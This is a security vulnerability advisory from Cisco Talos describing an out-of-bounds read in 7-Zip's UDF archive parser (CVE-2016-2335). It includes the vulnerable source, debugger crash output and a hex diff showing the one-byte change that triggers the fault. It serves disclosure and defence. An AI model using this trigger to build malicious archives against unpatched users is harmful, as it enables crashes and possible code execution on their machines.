Talos Vulnerability Report

TALOS-2016-0094

7zip UDF CInArchive::ReadFileItem Code Execution Vulnerability

May 10, 2016

Report ID

CVE-2016-2335

7zip UDF CInArchive::ReadFileItem Code Execution Vulnerability

Summary

An out of bound read vulnerability exists in the CInArchive::ReadFileItem method functionality of 7zip for handling UDF files that can lead to denial of service or code execution.

Tested Versions

7-Zip [32] 15.05 beta
7-Zip [64] 9.20

Product URLs

http://www.7-zip.org/

Details

CInArchive::ReadFileItem method to achieve proper information about file/directory location on particular partition use inter alia the following information: Partition Map and Long Allocation Descriptor [2.3.10.1 Long Allocation Descriptor]. Because volumes can have more than one partition map their objects are keep in object vector. To start looking for item, method tries to achieve proper partition object using to this mentioned partition maps object vector and “PartitionRef” field from Long Allocation Descriptor. Lack of checking whether “PartitionRef” field is bigger than available amount of partition map objects cause read out of bounds and can lead in some circumstances to arbitrary code execution.

Vulnerable code:

CPP\7zip\Archive\Udf\UdfIn.cpp

Line 898    FOR_VECTOR (fsIndex, vol.FileSets)
Line 899    {
Line 900      CFileSet &fs = vol.FileSets[fsIndex];
Line 901      unsigned fileIndex = Files.Size();
Line 902      Files.AddNew();
Line 903      RINOK(ReadFileItem(volIndex, fsIndex, fs.RootDirICB, kNumRecursionLevelsMax));
Line 904      RINOK(FillRefs(fs, fileIndex, -1, kNumRecursionLevelsMax));
Line 905    }

........

Line 384  HRESULT CInArchive::ReadFileItem(int volIndex, int fsIndex, const CLongAllocDesc &lad, int numRecurseAllowed)
Line 385  {
Line 386    if (Files.Size() % 100 == 0)
Line 387    RINOK(_progress->SetCompleted(Files.Size(), _processedProgressBytes));
Line 388    if (numRecurseAllowed-- == 0)
Line 389    return S_FALSE;
Line 390    CFile &file = Files.Back();
Line 391    const CLogVol &vol = LogVols[volIndex];
Line 392    CPartition &partition = Partitions[vol.PartitionMaps[lad.Location.PartitionRef].PartitionIndex];

Vulnerability can be triggered for any entry contains malformed long allocation descriptor but in this example we will focus on File set RootDirICB [2.3.2 File Set Descriptor].

As you can see in above code in lines 898-905 search for elements on particular volume and file set starts based on RootDirICB Long Allocation Descriptor and that record we will try to malformed for our purpose. Vulnerability appears in line 392 when PartitionRef field exceed number of elements in ParitionMaps vector. Let we check how many PartitionMaps contains our PoC:

  0:000> .restart /f
  Symbol search path is: symsrv*symsrv.dll*d:\localsymbols*http://msdl.microsoft.com/download/symbols
  Executable search path is:
  ModLoad: 01270000 012e5000   7z.exe
  Page heap: pid 0x29A0: page heap enabled with flags 0x3.
  Page heap: pid 0x29A0: page heap enabled with flags 0x3.
  (29a0.720): Break instruction exception - code 80000003 (first chance)
  eax=00000000 ebx=00000000 ecx=fa8d0000 edx=0025e198 esi=fffffffe edi=00000000
  eip=77c412fb esp=0019f91c ebp=0019f948 iopl=0         nv up ei pl zr na pe nc
  cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
  ntdll!LdrpDoDebuggerBreak+0x2c:
  77c412fb cc              int     3
  0:000> g
  Breakpoint 114 hit
  eax=07c1ef58 ebx=00000000 ecx=07c24ff8 edx=00000000 esi=00000000 edi=0019f17c
  eip=69ccaa81 esp=0019d73c ebp=0019d7b0 iopl=0         nv up ei pl nz na pe nc
  cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
  >  392:   CPartition &partition = Partitions[vol.PartitionMaps[lad.Location.PartitionRef].PartitionIndex];
  7z_69bf0000!NArchive::NUdf::CInArchive::ReadFileItem+0xa1:
  69ccaa81 8b4510          mov     eax,dword ptr [ebp+10h] ss:002b:0019d7c0=e44fad07
  0:000> dv /t vol
  struct NArchive::NUdf::CLogVol * vol = 0x07c1ef58
  0:000> dt /b NArchive::NUdf::CLogVol poi(vol)
    (...)
     +0x090 PartitionMaps    : CObjectVector<NArchive::NUdf::CPartitionMap>
        +0x000 _v               : CRecordVector<void *>
           +0x000 _items           : 0x07c20ff8
           +0x004 _size            : 1
           +0x008 _capacity        : 1

As we can see there is 1 Partition map where our PartitionRef field is equal:

  0:000> dv /t lad
  struct NArchive::NUdf::CLongAllocDesc * lad = 0x07ad4fe4
  0:000> dt /b NArchive::NUdf::CLongAllocDesc poi(lad)
  7z_69bf0000!NArchive::NUdf::CLongAllocDesc
     +0x000 Len              : 0x800
     +0x004 Location         : NArchive::NUdf::CLogBlockAddr
        +0x000 Pos              : 2
        +0x004 PartitionRef     : 0xff

Vulnerability is obvious, let’s see how it manifests:

  0:000> g
  (29a0.720): Access violation - code c0000005 (first chance)
  First chance exceptions are reported before any exception handling.
  This exception may be expected and handled.
  eax=07c213f4 ebx=00000000 ecx=07c20ff8 edx=000000ff esi=00000000 edi=0019f17c
  eip=69cc38f8 esp=0019d6e0 ebp=0019d730 iopl=0         nv up ei pl nz na pe nc
  cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
  >  450:   const T& operator[](unsigned index) const { return *((T *)_v[index]); }
  7z_69bf0000!CObjectVector<NArchive::NTar::CItemEx>::operator[]+0x18:
  69cc38f8 8b00            mov     eax,dword ptr [eax]  ds:002b:07c213f4=????????
  0:000> !analyze -v
  *******************************************************************************
  *                                                                             *
  *                        Exception Analysis                                   *
  *                                                                             *
  *******************************************************************************


  FAULTING_IP:
  7z_69bf0000!CObjectVector<NArchive::NTar::CItemEx>::operator[]+18
  69cc38f8 8b00            mov     eax,dword ptr [eax]

  EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
  ExceptionAddress: 69cc38f8 (7z_69bf0000!CObjectVector<NArchive::NTar::CItemEx>::operator[]+0x00000018)
     ExceptionCode: c0000005 (Access violation)
    ExceptionFlags: 00000000
  NumberParameters: 2
     Parameter[0]: 00000000
     Parameter[1]: 07c213f4
  Attempt to read from address 07c213f4

  FAULTING_THREAD:  00000720

  PROCESS_NAME:  7z.exe

  ERROR_CODE: (NTSTATUS) 0xc0000005 - Instrukcja spod 0x%08lx odwo

  EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - Instrukcja spod 0x%08lx odwo

  EXCEPTION_PARAMETER1:  00000000

  EXCEPTION_PARAMETER2:  07c213f4

  READ_ADDRESS:  07c213f4

  FOLLOWUP_IP:
  7z_69bf0000!CObjectVector<NArchive::NTar::CItemEx>::operator[]+18
  69cc38f8 8b00            mov     eax,dword ptr [eax]

  DETOURED_IMAGE: 1

  NTGLOBALFLAG:  2000000

  APPLICATION_VERIFIER_FLAGS:  0

  APP:  7z.exe

  BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ_AFTER_CALL

  PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ_AFTER_CALL

  DEFAULT_BUCKET_ID:  INVALID_POINTER_READ_AFTER_CALL

  LAST_CONTROL_TRANSFER:  from 69ccaa97 to 69cc38f8

  STACK_TEXT:
  0019d730 69ccaa97 000000ff 0019f17c 00000000 7z_69bf0000!CObjectVector<NArchive::NTar::CItemEx>::operator[]+0x18 [7z1505-src\cpp\common\myvector.h @ 450]
  0019d7b0 69cc9d3a 00000000 00000000 07ad4fe4 7z_69bf0000!NArchive::NUdf::CInArchive::ReadFileItem+0xb7 [7z1505-src\cpp\7zip\archive\udf\udfin.cpp @ 392]
  0019e288 69cca215 0019f17c 0019ec1c 00000000 7z_69bf0000!NArchive::NUdf::CInArchive::Open2+0xcba [7z1505-src\cpp\7zip\archive\udf\udfin.cpp @ 903]
  0019e2e4 69cc73f3 07b4efa8 0019e37c 0019f17c 7z_69bf0000!NArchive::NUdf::CInArchive::Open+0x25 [7z1505-src\cpp\7zip\archive\udf\udfin.cpp @ 975]
  0019e3a4 012acf95 07021f68 07b4efa8 0019e950 7z_69bf0000!NArchive::NUdf::CHandler::Open+0x63 [7z1505-src\cpp\7zip\archive\udf\udfhandler.cpp @ 149]
  0019ea58 012b1690 0019f154 0019f17c 0019ec1c 7z!CArc::OpenStream2+0xdb5 [7z1505-src\cpp\7zip\ui\common\openarchive.cpp @ 1820]
  0019eb4c 012b1ba6 0019f154 0019f17c 0019ec1c 7z!CArc::OpenStream+0x30 [7z1505-src\cpp\7zip\ui\common\openarchive.cpp @ 2829]
  0019ebe0 012ab7e9 0019f154 00000000 00000001 7z!CArc::OpenStreamOrFile+0x166 [7z1505-src\cpp\7zip\ui\common\openarchive.cpp @ 2921]
  0019ef20 012ab4b8 0019f154 00000000 00000001 7z!CArchiveLink::Open+0x179 [7z1505-src\cpp\7zip\ui\common\openarchive.cpp @ 3097]
  0019efd8 012ab63c 0019f154 06bf9ea8 00000000 7z!CArchiveLink::Open2+0x148 [7z1505-src\cpp\7zip\ui\common\openarchive.cpp @ 3220]
  0019f040 0129ffec 0019f154 06bf9ea8 00000000 7z!CArchiveLink::Open3+0x1c [7z1505-src\cpp\7zip\ui\common\openarchive.cpp @ 3284]
  0019f2e4 012ca3fd 0019f9b8 0019f938 0019f92c 7z!Extract+0x48c [7z1505-src\cpp\7zip\ui\common\extract.cpp @ 362]
  0019fc84 012cc0be 00000000 00000001 00000000 7z!Main2+0x14cd [7z1505-src\cpp\7zip\ui\console\main.cpp @ 881]
  0019fd5c 012cfe33 00000003 06bf5f80 06e75f18 7z!main+0x7e [7z1505-src\cpp\7zip\ui\console\mainar.cpp @ 70]
  0019fd9c 75d6337a fffde000 0019fde8 77bd92e2 7z!__tmainCRTStartup+0xfd [f:\dd\vctools\crt\crtw32\dllstuff\crtexe.c @ 626]
  0019fda8 77bd92e2 fffde000 56a1b6fd 00000000 kernel32!BaseThreadInitThunk+0xe
  0019fde8 77bd92b5 012cfe9b fffde000 00000000 ntdll!__RtlUserThreadStart+0x70
  0019fe00 00000000 012cfe9b fffde000 00000000 ntdll!_RtlUserThreadStart+0x1b


  FAULTING_SOURCE_LINE_NUMBER:  450

  SYMBOL_STACK_INDEX:  0

  SYMBOL_NAME:  7z!CObjectVector<NArchive::NTar::CItemEx>::operator[]+18

  FOLLOWUP_NAME:  MachineOwner

  MODULE_NAME: 7z_69bf0000

  IMAGE_NAME:  7z.dll

  DEBUG_FLR_IMAGE_TIMESTAMP:  559185fe

  STACK_COMMAND:  ~0s ; kb

  FAILURE_BUCKET_ID:  INVALID_POINTER_READ_AFTER_CALL_c0000005_7z.dll!CObjectVector_NArchive::NTar::CItemEx_::operator[]

  BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_READ_AFTER_CALL_DETOURED_7z!CObjectVector_NArchive::NTar::CItemEx_::operator[]+18

  WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/7z_exe/15_5_0_0/5591858b/7z_dll/15_5_0_0/559185fe/c0000005/000d38f8.htm?Retriage=1

  Followup: MachineOwner
  ---------

At the end, let us see how FileSet RootDirICB entry has been modified.

  Original file:

  Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

  00080990   00 08 00 00 02 00 00 00  00 00 00 00 00 00 00 00   ................
  000809A0   00 2A 4F 53 54 41 20 55  44 46 20 43 6F 6D 70 6C   .*OSTA UDF Compl
  000809B0   69 61 6E 74 00 00 00 00  02 01 03 00 00 00 00 00   iant............

  Malformed file:

  Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

  00080990   00 08 00 00 02 00 00 00  FF 00 00 00 00 00 00 00   ........˙.......
  000809A0   00 2A 4F 53 54 41 20 55  44 46 20 43 6F 6D 70 6C   .*OSTA UDF Compl
  000809B0   69 61 6E 74 00 00 00 00  02 01 03 00 00 00 00 00   iant............

As you can see at offset 00080990 + 8, 0x00 changed to 0xff which we could observe during bug analysis as a value of PartitionRef.

Credit

Discovered by Marcin ‘Icewall’ Noga of Cisco Talos

Timeline

2016-03-03 - Vendor Notification
2016-05-10 - Public Disclosure